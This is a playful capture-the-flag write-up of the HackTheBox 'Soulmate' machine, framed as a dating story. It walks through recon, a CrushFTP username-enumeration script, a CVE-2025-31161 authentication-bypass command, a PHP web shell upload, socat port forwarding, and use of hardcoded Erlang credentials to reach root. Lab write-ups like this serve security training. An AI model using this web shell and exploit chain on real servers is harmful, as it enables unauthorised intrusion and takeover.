Soulmate Machine HackTheBox

Soulmate Machine HackTheBox

The Matchmaker’s Journal

September 07, 2025 – Somewhere deep in the binary alleys of the cyber-dating world, you’ve been invited to play Cupid. But beware—this dating app doesn’t just break hearts, it breaks servers. And today, you’ll unmask them all.


1. Setting the Stage: Reconnaissance

You arrive at the doorstep of Soulmate (10.10.11.86), a digital love factory.
Naturally, you bring your trusty nmap bouquet to impress.

nmap -p- -sV --min-rate 1000 -oA scans/soulmate-full 10.10.11.86

🎶 Cue dramatic love song 🎶
Results reveal:

  • 22/tcp SSH (OpenSSH 8.9p1)
  • 80/tcp HTTP (nginx 1.18.0)
  • 4369/tcp Erlang EPMD (Cupid’s creepy sidekick)

You add an alias because typing IPs on a date is rude:

echo "10.10.11.86 soulmate.htb" | sudo tee -a /etc/hosts

2. Crafting Your Profile: Web Enumeration

You strut into http://soulmate.htb, where love is supposedly just a click away.

  • You register as you@example.com / Passw0rd! (classic).
  • You log in and peek at the Profile → Edit page.

Options:

  • Name
  • Bio
  • Interests
  • Mobile
  • And the juiciest part: Profile Picture Upload

Your hacker intuition whispers: “File upload… the Tinder of vulnerabilities.”


3. Uncovering a Hidden Door: Subdomain Discovery

But no dating site is complete without a secret “ex” lurking in the background.
So you fire up ffuf:

ffuf -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb'      -w /usr/share/seclists/Discovery/DNS/big.txt -fs 154

💔 Surprise! You find ftp.soulmate.htb—a CrushFTP instance.

echo "10.10.11.86 ftp.soulmate.htb" | sudo tee -a /etc/hosts

4. Bypassing Security: CrushFTP Exploit

4.1 Username Probing

You go fishing for names like a desperate stalker scrolling LinkedIn.

# probe_crushftp.py
import requests
for user in open('/usr/share/seclists/Usernames/top10000.txt'):
    r = requests.post('http://ftp.soulmate.htb/WebInterface/function/',
                      data={'command':'login','username':user.strip(),'password':'x'})
    if 'Invalid password' in r.text:
        print(f"Valid user: {user.strip()}")

🎉 Results: admin and root. Jackpot!

4.2 CVE-2025-31161: Authentication Bypass

Turns out Cupid forgot to patch. You slip past like a smooth operator:

python3 cve-2025-31161.py   --target_host ftp.soulmate.htb --port 80   --target_user admin --new_user matcher --password MatchMe123

Congratulations—you’re now the admin of love.


5. Uploading Your First “Match”: Web Shell

  • You log in as matcher / MatchMe123.
  • Give yourself upload rights in webProd.
  • Time to woo the server with a shiny new shell:
<?php if(isset($_REQUEST['cmd'])) {
  echo "<pre>";
  system($_REQUEST['cmd']);
  echo "</pre>";
} ?>

Upload → shell.php.

Check:

curl 'http://soulmate.htb/shell.php?cmd=id'

Response: uid=33(www-data)
✨ You’re officially inside. ✨


6. Land of Scripts: Securing an Interactive Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl-Z
stty raw -echo; fg
export TERM=xterm

Now you’re www-data with full TTY powers.


7. Encountering Erlang: Hidden Service

You poke around and notice Erlang lurking:

ss -plnt | grep 4369

Ah yes, Erlang’s love dungeon at 127.0.0.1:2222.


8. Crafting a Bridge: socat Port Forwarding

socat TCP-LISTEN:3333,reuseaddr,fork TCP:127.0.0.1:2222 &

From Kali:

ssh -p 3333 ben@10.10.11.86

But… 💔 Wrong password.


9. Discovering Hardcoded Credentials

Every dating app has skeletons in its closet. You grep:

grep -R "passwd" -n /usr/local/lib/erlang_login

And discover inside start.escript:

{username, "ben"}.
{password, "HouseH0ldings998"}.

Cupid really should’ve used a password manager.


10. Ringing the Bell: Erlang SSH to Root

ssh -p 3333 ben@10.10.11.86

Inside Erlang shell:

os:cmd("id").

Response: uid=0(root) gid=0(root)
💍 You popped the question, and the server said YES. Rooted.


11. Claiming the Flags

11.1 User Flag

os:cmd("cat /home/ben/user.txt").

➡️ User flag found (hidden for spoilers).

11.2 Root Flag

os:cmd("cat /root/root.txt").

➡️ Root flag found (hidden for spoilers).


Epilogue

And so, you close The Matchmaker’s Journal.

Soulmate wasn’t about love—it was about:

  • Upload filters forgotten like bad first dates
  • Hardcoded secrets (seriously, Ben? HouseH0ldings998?)
  • Local services exposed like awkward DMs

You leave with two flags in hand and one lesson in heart:

In hacking, as in dating, never trust the first profile picture.

Read more